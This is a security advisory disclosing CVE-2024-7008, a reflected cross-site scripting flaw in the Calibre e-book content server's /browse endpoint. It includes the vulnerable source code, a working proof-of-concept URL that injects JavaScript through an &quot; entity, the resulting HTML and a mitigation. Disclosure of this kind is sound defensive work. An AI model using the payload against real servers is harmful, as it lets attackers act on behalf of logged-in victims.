Summary

Product Calibre
Vendor Calibre
Severity Medium
Affected Versions <= 7.15.0 (latest version as of writing)
Tested Versions 7.15.0
CVE Identifier CVE-2024-7008
CWE Classification(s) CWE-79 Improper Neutralization of Input During Web Page Generation (XSS or ‘Cross-site Scripting’)
CAPEC Classification(s) CAPEC-591 Reflected XSS

CVSS3.1 Scoring System

Base Score: 5.4 (Medium) Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

Metric Value
Attack Vector (AV) Network
Attack Complexity (AC) Low
Privileges Required (PR) None
User Interaction (UI) Required
Scope (S) Unchanged
Confidentiality (C) Low
Integrity (I) Low
Availability (A) None

Product Overview

Calibre is a cross-platform free and open-source suite of e-book software. Calibre supports organizing existing e-books into virtual libraries, displaying, editing, creating and converting e-books, as well as syncing e-books with a variety of e-readers. Editing books is supported for EPUB and AZW3 formats. Books in other formats like MOBI must first be converted to those formats, if they are to be edited. Calibre also has a large collection of community contributed plugins.

Calibre also offers a powerful content server feature. This allows users to share their Calibre libraries over the internet, making it easy to access your e-book collection from anywhere, at any time.

Vulnerability Summary

It is possible to inject arbitrary JavaScript code into the /browse endpoint of the Calibre content server, allowing an attacker to craft a URL that when clicked by a victim, will execute the attacker’s JavaScript code in the context of the victim’s browser. If the Calibre server is running with authentication enabled and the victim is logged in at the time, this can be used to cause the victim to perform actions on the Calibre server on behalf of the attacker.

Vulnerability Details

In src/calibre/srv/legacy.py, the browse endpoint is defined as follows:

@endpoint('/browse/{+rest=""}')
def browse(ctx, rd, rest):
    if rest.startswith('book/'):
        # implementation of https://bugs.launchpad.net/calibre/+bug/1698411
        # redirect old server book URLs to new URLs
        redirect = ctx.url_for(None) + '#book_id=' + rest[5:] + "&amp;panel=book_details"
        from lxml import etree as ET
        return html(ctx, rd, endpoint,
                 E.html(E.head(
                     ET.XML('<meta http-equiv="refresh" content="0;url=' + redirect + '"/>'), # [1]
                     ET.XML('<script language="javascript">' +
                         'window.location.href = "' + redirect + '"' + # [2]
                         '</script>'
                         ))))
    else:
        raise HTTPRedirect(ctx.url_for(None))

As can be seen from the code, if a user navigates to a URL of the form /browse/book/123, the server will insert the content after book/ straight into a variable redirect, followed by directly concatenating this variable into a meta refresh tag at [1] and a JavaScript redirect at [2] through the use of lxml’s etree.XML() function, without performing any sanitisation. The injection at [1] was not found to be exploitable as most attempts would result in malformed XML that would cause etree to raise an exception. However, the injection at [2] was found to be exploitable, due to lxml’s behaviour of expanding the &quot; entity into " before serialising the XML tree into a string.

>>> from lxml import etree
>>> etree.tostring(etree.XML("<script>&quot;</script>"))
b'<script>"</script>'

Thus, we can use &quot; to escape the string assignment and inject arbitrary JavaScript code into the page. This can be used to perform a reflected cross-site scripting attack.

Proof-of-Concept

Browse to the following URL, where CALIBRE_SERVER is the address of the Calibre server:

http://CALIBRE_SERVER/browse/book/TEST&quot;;window.stop();alert(document.location);%2f%2f

Note that the alert is executed in the context of the Calibre server’s origin:

The resulting HTML shows that the &quot; entity was expanded into ", thus enabling the injection:

<!DOCTYPE html>
<html><head>
<meta http-equiv="refresh" content='0;url=/#book_id=TEST";window.stop();alert(document.location);//&amp;panel=book_details'>
<script language="javascript">window.location.href = "/#book_id=TEST";window.stop();alert(document.location);//&panel=book_details"</script>
</head></html>

Suggested Mitigations

Ensure that user input is safe before being used in the generation of HTML content. In this case, it appears that book IDs can only be digits, so it should suffice to ensure that the input is a digit before using it to generate the HTML.

Credits

Devesh Logendran of STAR Labs SG Pte. Ltd. (@starlabs_sg)